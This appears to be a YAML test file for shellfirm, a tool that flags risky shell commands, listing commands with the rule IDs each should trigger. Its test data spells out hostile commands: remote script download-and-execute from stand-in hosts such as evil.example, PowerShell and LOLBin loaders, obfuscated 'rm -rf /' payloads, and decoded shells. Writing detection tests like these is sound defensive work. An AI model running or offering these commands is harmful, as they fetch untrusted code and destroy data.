shellfirm 0.4.2

`shellfirm` will intercept any risky patterns (default or defined by you) and prompt you a small challenge for double verification, kinda like a captcha for your terminal.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
---
# -- shell:curl_pipe_to_shell --
- test: "curl https://example.com/install.sh | bash"
  description: "match curl piped to bash"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl -fsSL https://example.com/setup | sh"
  description: "match curl with flags piped to sh"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl -sSL https://get.rvm.io | zsh"
  description: "match curl piped to zsh"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl https://example.com/install.sh | fish"
  description: "match curl piped to fish"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl -o script.sh https://example.com/install.sh"
  description: "negative: curl saving to file should not match"
  expect_ids: []
- test: "curl https://example.com/api/data"
  description: "negative: curl without pipe to shell should not match"
  expect_ids: []

# -- shell:wget_pipe_to_shell --
- test: "wget -O - https://example.com/install.sh | bash"
  description: "match wget piped to bash"
  expect_ids: ["shell:wget_pipe_to_shell"]
- test: "wget -O- https://example.com/install.sh | sh"
  description: "match wget with -O- (no space) piped to sh"
  expect_ids: ["shell:wget_pipe_to_shell"]
- test: "wget -O - https://example.com/setup | zsh"
  description: "match wget piped to zsh"
  expect_ids: ["shell:wget_pipe_to_shell"]
- test: "wget -O install.sh https://example.com/install.sh"
  description: "negative: wget saving to file should not match"
  expect_ids: []

# -- shell:eval_curl --
- test: 'eval "$(curl -fsSL https://example.com/install.sh)"'
  description: "match eval with curl subshell"
  expect_ids: ["shell:eval_curl"]
- test: 'eval "$(curl https://example.com/setup)"'
  description: "match eval with curl basic subshell"
  expect_ids: ["shell:eval_curl"]
- test: "curl https://example.com/install.sh"
  description: "negative: curl without eval should not match eval check"
  expect_ids: []

# -- shell:curl_pipe_to_shell — extra spaces --
- test: "curl      https://example.com/install.sh      |     bash"
  description: "match curl pipe to bash with many spaces"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl https://example.com/install.sh |  sh"
  description: "match curl pipe to sh with extra spaces around pipe"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl  -fsSL  https://example.com/setup  |  zsh"
  description: "match curl pipe to zsh with extra spaces everywhere"
  expect_ids: ["shell:curl_pipe_to_shell"]

# -- shell:curl_pipe_to_interpreter --
- test: "curl https://example.com/install.py | python"
  description: "match curl piped to python"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl https://example.com/install.py | python3"
  description: "match curl piped to python3"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -fsSL https://example.com/script.pl | perl"
  description: "match curl piped to perl"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl https://example.com/script.rb | ruby"
  description: "match curl piped to ruby"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl      https://example.com/install.py     |     python3"
  description: "match curl piped to python3 with many spaces"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -o script.py https://example.com/install.py"
  description: "negative: curl saving to file should not match interpreter check"
  expect_ids: []

# ====== EDGE CASE / STRESS TESTS ======

# -- shell:curl_pipe_to_shell edge cases --
- test: "curl -sS https://example.com/setup | sudo bash"
  description: "match curl piped to sudo bash"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl -L https://example.com/setup | bash -x"
  description: "EDGE: bash with flags after pipe"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl https://example.com | dash"
  description: "EDGE: dash shell not in pattern list"
  expect_ids: []

# -- shell:wget_pipe_to_shell edge cases --
- test: "wget -qO - https://example.com | bash"
  description: "match wget with combined -qO flag piped to bash"
  expect_ids: ["shell:wget_pipe_to_shell"]

# -- shell:eval_curl edge cases --
- test: "eval $(curl https://example.com)"
  description: "match eval with unquoted curl subshell"
  expect_ids: ["shell:eval_curl"]

# -- shell:curl_pipe_to_interpreter edge cases --
- test: "curl https://example.com | pythonista"
  description: "EDGE: word starting with python should not match (word boundary)"
  expect_ids: []

# -- shell group --
- test: 'echo cm0gLXJmIC8K | base64 -d | sh'
  description: "decode and run"
  expect_ids: ["shell:decode_pipe_to_shell"]
- test: 'base64 --decode payload.txt | sudo bash'
  description: "decode file and run"
  expect_ids: ["shell:decode_pipe_to_shell"]
- test: 'base64 -d payload.txt > out.bin'
  description: "negative: decode to file"
  expect_ids: ["fs:flush_file_content"]
- test: 'bash <(curl -s https://x)'
  description: "process substitution"
  expect_ids: ["shell:process_substitution_remote"]
- test: 'source <(wget -qO- https://x)'
  description: "source process substitution"
  expect_ids: ["shell:process_substitution_remote"]
- test: 'diff <(curl -s a) <(curl -s b)'
  description: "negative: diff of downloads"
  expect_ids: []
- test: 'echo ''rm -rf /'' | sh'
  description: "echoed payload is code"
  expect_ids: ["fs-strict:recursive_deletion", "fs:recursively_delete"]
- test: 'printf ''git push -f\n'' | bash'
  description: "printf payload is code"
  expect_ids: ["git:force_push"]
- test: 'echo hi | sh script.sh'
  description: "negative: sh runs a script, stdin is data"
  expect_ids: []
- test: 'eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval eval ls'
  description: "nesting beyond the analysis limit"
  expect_ids: ["shell:nesting_too_deep"]
- test: '$($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($(rm -rf /))))))))))))))))))))))))))))))))))))))))'
  description: "deep substitution still matches the payload"
  expect_ids: ["shell:nesting_too_deep", "fs-strict:recursive_deletion", "fs:recursively_delete"]
# -- generated commands --
- test: "eval $(echo rm -rf /)"
  description: "eval of echoed text"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "$(echo rm -rf /)"
  description: "a substitution as the command word"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "`echo rm -rf /`"
  description: "backticks as the command word"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "sh -c \"$(printf '%s' 'rm -rf /')\""
  description: "sh -c of printed text"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "echo \"$(echo rm -rf /)\" | sh"
  description: "echo of a substitution piped to sh"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "source <(echo rm -rf /)"
  description: "source of a process substitution"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "bash <(printf 'rm -rf /')"
  description: "bash of a process substitution"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "diff <(echo rm -rf /) <(ls)"
  description: "diff only reads the output"
  expect_ids: []
- test: "git commit -m \"$(echo rm -rf /)\""
  description: "a commit message stays data"
  expect_ids: []
- test: "alias s='sudo '; alias r='rm -rf /'; s r"
  description: "an alias ending in a blank expands the next word"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "parallel rm -rf ::: /"
  description: "parallel runs the command per argument"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "echo \"import os; os.system('rm -rf /')\" | python3"
  description: "python program piped from echo"
  expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "shellfirm wrap psql -c 'DROP TABLE users'"
  description: "shellfirm wrap starts the client with its arguments"
  expect_ids: ["psql:drop", "database:drop_table"]

# -- remote installers and unknown payloads --
- test: 'sh -c "$(curl -fsSL https://example.com/install.sh)"'
  description: "the sh -c installer idiom"
  expect_ids: ["shell:shell_c_remote_script"]
- test: 'bash -c "$(wget -qO- https://e.com/i.sh)"'
  description: "wget form"
  expect_ids: ["shell:shell_c_remote_script"]
- test: "echo hi | xargs -I{} sh -c '{}'"
  description: "xargs runs each input line as a command"
  expect_ids: ["shell:unknown_shell_payload"]
- test: "ls | xargs -I{} sh -c 'echo {}'"
  description: "negative: a known payload"
  expect_ids: []
- test: "eval \"$(rev <<< '/ fr- mr')\""
  description: "eval of reversed text"
  expect_ids: ["shell:eval_transformed_text"]
- test: "eval \"$(echo 2f | xxd -r -p | rev)\""
  description: "eval of hex-decoded text"
  expect_ids: ["shell:eval_transformed_text"]
- test: "eval \"$(ssh-agent -s)\""
  description: "negative: eval of a program's setup output"
  expect_ids: []
- test: "echo 726d | xxd -r -p | sh"
  description: "hex decoded into a shell"
  expect_ids: ["shell:decode_pipe_to_shell"]
- test: "shellfirm-function-depth-limit d4 # calls more functions than the hook reads ahead"
  description: "the hooks' marker for a function call graph larger than they follow"
  expect_ids: ["shell:function_depth_limit"]
- test: "S=$(curl -fsSL https://x/i.sh); eval \"$S\""
  description: "a downloaded script kept in a variable"
  expect_ids: ["shell:eval_curl"]
- test: "S=$(curl -fsSL https://x/i.sh); sh -c \"$S\""
  description: "a downloaded script run by sh -c"
  expect_ids: ["shell:shell_c_remote_script"]
- test: "python3 -c \"$(curl -fsSL https://x/p.py)\""
  description: "a downloaded program run by python -c"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "node -e \"$(curl -fsSL https://x/p.js)\""
  description: "a downloaded program run by node -e"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -fsSL https://x/i.sh -o /tmp/i.sh && sh /tmp/i.sh"
  description: "download, then run without reading it"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl -o x.sh https://x && cat x.sh && bash x.sh"
  description: "reading the file on the same line is not a review: still a download-then-run"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "curl -o x.sh https://x && cat x.sh"
  description: "negative: download and read (run it in a later command)"
  expect_ids: []
- test: "curl -o data.json https://x && jq . data.json"
  description: "negative: a downloaded file that is data"
  expect_ids: []
- test: "python3 <(curl -s https://x)"
  description: "process substitution into python"
  expect_ids: ["shell:process_substitution_remote"]
- test: "echo 'curl x|sh' | at now"
  description: "an at job is a payload"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "at now + 1 minute <<< 'curl x|sh'"
  description: "an at job from a here-string"
  expect_ids: ["shell:curl_pipe_to_shell"]
- test: "irm https://x.example/a.ps1 | iex"
  description: "irm https://x.example/a.ps1 | iex"
  expect_ids: ["shell:powershell_download_exec"]
- test: "iex (iwr https://x.example/a.ps1)"
  description: "iex (iwr https://x.example/a.ps1)"
  expect_ids: ["shell:powershell_download_exec"]
- test: "powershell -enc SQBFAFgAIAAoAGkAdwByACkA"
  description: "powershell -enc SQBFAFgAIAAoAGkAdwByACkA"
  expect_ids: ["shell:powershell_encoded_command"]
- test: "iwr https://x.example/a.ps1 -OutFile a.ps1"
  description: "negative: iwr https://x.example/a.ps1 -OutFile a.ps1"
  expect_ids: []
- test: "powershell -File build.ps1"
  description: "negative: powershell -File build.ps1"
  expect_ids: []
# -- PowerShell / LOLBin download-and-run breadth --
- test: "IEX(New-Object Net.WebClient).DownloadString('https://x.example/a.ps1')"
  description: "IEX(New-Object Net.WebClient).DownloadString(...) with no space"
  expect_ids: ["shell:powershell_download_exec"]
- test: "(New-Object Net.WebClient).DownloadString('https://x.example/a.ps1') | iex"
  description: "DownloadString piped to iex"
  expect_ids: ["shell:powershell_download_exec"]
- test: "[Net.WebClient]::new().DownloadString('https://x.example/a.ps1') | iex"
  description: "[Net.WebClient]::new().DownloadString(...) | iex"
  expect_ids: ["shell:powershell_download_exec"]
- test: "iex ([System.Net.WebClient]::new().DownloadString('https://x.example/a.ps1'))"
  description: "iex ([System.Net.WebClient]::new().DownloadString(...))"
  expect_ids: ["shell:powershell_download_exec"]
- test: "irm https://x.example/a.ps1 | % { $_ } | iex"
  description: "an intermediate pipe stage before iex"
  expect_ids: ["shell:powershell_download_exec"]
- test: "iwr https://x.example/a.ps1 | powershell -"
  description: "downloaded content piped into powershell stdin"
  expect_ids: ["shell:powershell_download_exec"]
- test: "Get-Content build.ps1 | iex"
  description: "negative: running a local file (no download)"
  expect_ids: []
- test: "certutil -urlcache -split -f https://x.example/a.exe a.exe"
  description: "certutil url download (LOLBin)"
  expect_ids: ["shell:lolbin_download_exec"]
- test: "certutil.exe -urlcache -f http://x.example/a.exe a.exe"
  description: "certutil.exe url download"
  expect_ids: ["shell:lolbin_download_exec"]
- test: "bitsadmin /transfer job https://x.example/a.exe C:\\a.exe"
  description: "bitsadmin transfer (LOLBin)"
  expect_ids: ["shell:lolbin_download_exec"]
- test: "mshta https://x.example/a.hta"
  description: "mshta remote hta (LOLBin)"
  expect_ids: ["shell:lolbin_download_exec"]
- test: "regsvr32 /s /u /i:https://x.example/a.sct scrobj.dll"
  description: "regsvr32 scriptlet download (LOLBin)"
  expect_ids: ["shell:lolbin_download_exec"]
- test: "certutil -hashfile a.exe SHA256"
  description: "negative: certutil hashing a local file"
  expect_ids: []
- test: "powershell -enco SQBFAFgAIAAoAGkAdwByACkA"
  description: "-enco abbreviation"
  expect_ids: ["shell:powershell_encoded_command"]
- test: "pwsh -EncodedC SQBFAFgAIAAoAGkAdwByACkA"
  description: "-EncodedC abbreviation"
  expect_ids: ["shell:powershell_encoded_command"]
- test: "powershell.exe /enc SQBFAFgAIAAoAGkAdwByACkA"
  description: "slash /enc form"
  expect_ids: ["shell:powershell_encoded_command"]
- test: "powershell -e:SQBFAFgAIAAoAGkAdwByACkA"
  description: "colon-glued -e: form"
  expect_ids: ["shell:powershell_encoded_command"]
- test: "powershell -Encoding utf8 -File build.ps1"
  description: "negative: -Encoding is not -EncodedCommand"
  expect_ids: []
- test: "powershell -ExecutionPolicy Bypass -File build.ps1"
  description: "negative: ExecutionPolicy Bypass with a named file"
  expect_ids: []
# -- the -ec EncodedCommand shorthand --
- test: "powershell -ec ZQBjAGgAbwA="
  description: "-ec base64 shorthand"
  expect_ids: ["shell:powershell_encoded_command"]

# -- curl | python -m json.tool only pretty-prints --
- test: "curl -s localhost:3000/api/users | python3 -m json.tool"
  description: "negative: json.tool only formats the JSON it reads"
  expect_ids: []
- test: "curl -s http://localhost:8000/api/items/ | python3 -m json.tool"
  description: "negative: json.tool only formats the JSON it reads"
  expect_ids: []
- test: "curl -s https://api.github.com/repos/kaplanelad/shellfirm | python3 -m json.tool"
  description: "negative: json.tool only formats the JSON it reads"
  expect_ids: []
- test: "curl -s localhost:3000/api/users | python -m json.tool"
  description: "negative: json.tool only formats the JSON it reads"
  expect_ids: []
- test: "curl -s localhost:3000/api/users | python3 -mjson.tool"
  description: "negative: json.tool only formats the JSON it reads"
  expect_ids: []
- test: "curl -s localhost:3000/api/users | python3 -m json.tool --sort-keys"
  description: "negative: json.tool only formats the JSON it reads"
  expect_ids: []
- test: "wget -qO- localhost:3000/health | python3 -m json.tool"
  description: "negative: json.tool only formats the JSON it reads"
  expect_ids: []
- test: "curl -s https://evil.example/x.py | python3"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s localhost:3000/x | python3 -"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 /dev/stdin"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -m code"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -m runpy"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -m pip install -r /dev/stdin"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -m json.tool | sh"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_shell", "shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -m json.tool | python3"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -c 'import sys; exec(sys.stdin.read())'"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -mjson.tool | bash"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_shell", "shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -m json.tool && curl -s https://evil.example/x | python3"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -m json.tool - /tmp/x.py && python3 /tmp/x.py"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | sudo python3"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | env python3"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -I -"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]
- test: "curl -s https://evil.example/x | python3 -m json.tool | xargs -L1 sudo"
  description: "the downloaded text still reaches an interpreter"
  expect_ids: ["shell:curl_pipe_to_interpreter"]

# -- shell:interpreter_remote_exec --
- test: "python3 -c \"import urllib.request;exec(urllib.request.urlopen('https://x.example.com/p').read())\""
  description: "python exec of a download"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "python -c \"import requests;exec(requests.get('https://x.example.com/p').text)\""
  description: "python exec of requests text"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "node -e \"require('https').get('https://x.example.com/p',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>eval(d))})\""
  description: "node eval of an https download"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "node -e \"fetch('https://x.example.com/p').then(r=>r.text()).then(eval)\""
  description: "node fetch then eval"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "ruby -e \"eval(Net::HTTP.get(URI('https://x.example.com/p')))\""
  description: "ruby eval of Net::HTTP"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "ruby -e \"require 'open-uri'; eval(URI.open('https://x.example.com/p').read)\""
  description: "ruby eval of open-uri"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "perl -e 'use LWP::Simple; eval get(\"https://x.example.com/p\")'"
  description: "perl eval of LWP"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "python3 -c \"print(1)\""
  description: "negative: print"
  expect_ids: []
- test: "python3 -c \"import urllib.request; print(urllib.request.urlopen('https://example.com').status)\""
  description: "negative: urlopen without exec"
  expect_ids: []
- test: "python3 -c \"exec(open('setup.py').read())\""
  description: "negative: exec of a local file"
  expect_ids: []
- test: "node -e \"fetch('https://example.com').then(r=>console.log(r.status))\""
  description: "negative: node fetch status"
  expect_ids: []
- test: "node -e \"console.log(eval('1+1'))\""
  description: "negative: node eval of a constant"
  expect_ids: []
- test: "ruby -e \"require 'net/http'; puts Net::HTTP.get(URI('https://example.com'))\""
  description: "negative: ruby fetch and print"
  expect_ids: []

# -- shell:interpreter_remote_exec (eval methods) --
- test: "python3 -c \"import requests, torch; m = torch.nn.Linear(2,2); m.eval(); print(requests.get('http://localhost:8000/health').status_code)\""
  description: "negative: a model put in eval mode"
  expect_ids: []
- test: "python3 -c \"import pandas as pd, requests; df = pd.DataFrame(requests.get('http://localhost:3000/api/rows').json()); print(df.eval('a + b').sum())\""
  description: "negative: a DataFrame expression"
  expect_ids: []
- test: "python3 -c \"import requests; exec(requests.get('https://evil.example/x.py').text)\""
  description: "the builtin exec of fetched code"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "python3 -c \"import urllib.request as u; x=u.urlopen('https://evil.example/x').read(); exec(x)\""
  description: "fetched first, exec after"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "python3 -c \"import requests,builtins; builtins.exec(requests.get('https://evil.example/x.py').text)\""
  description: "builtins.exec of fetched code"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "python3 -c \"import urllib.request as u; __builtins__.exec(u.urlopen('https://evil.example/x').read())\""
  description: "__builtins__.exec of fetched code"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "python3 -c \"import urllib.request as u; getattr(__builtins__, 'exec')(u.urlopen('https://evil.example/x').read())\""
  description: "exec looked up with getattr"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "python3 -c \"import requests; r=requests.get('https://evil.example/x'); getattr(builtins,'eval')(r.text)\""
  description: "fetched first, eval looked up with getattr after"
  expect_ids: ["shell:interpreter_remote_exec"]
- test: "python3 -c \"import ast, requests; print(ast.literal_eval(requests.get('http://localhost:8000/cfg').text))\""
  description: "negative: literal_eval of a response"
  expect_ids: []
- test: "python3 -c \"import requests; print(getattr(requests, 'get')('https://example.com').status_code)\""
  description: "negative: getattr of a non-builtin"
  expect_ids: []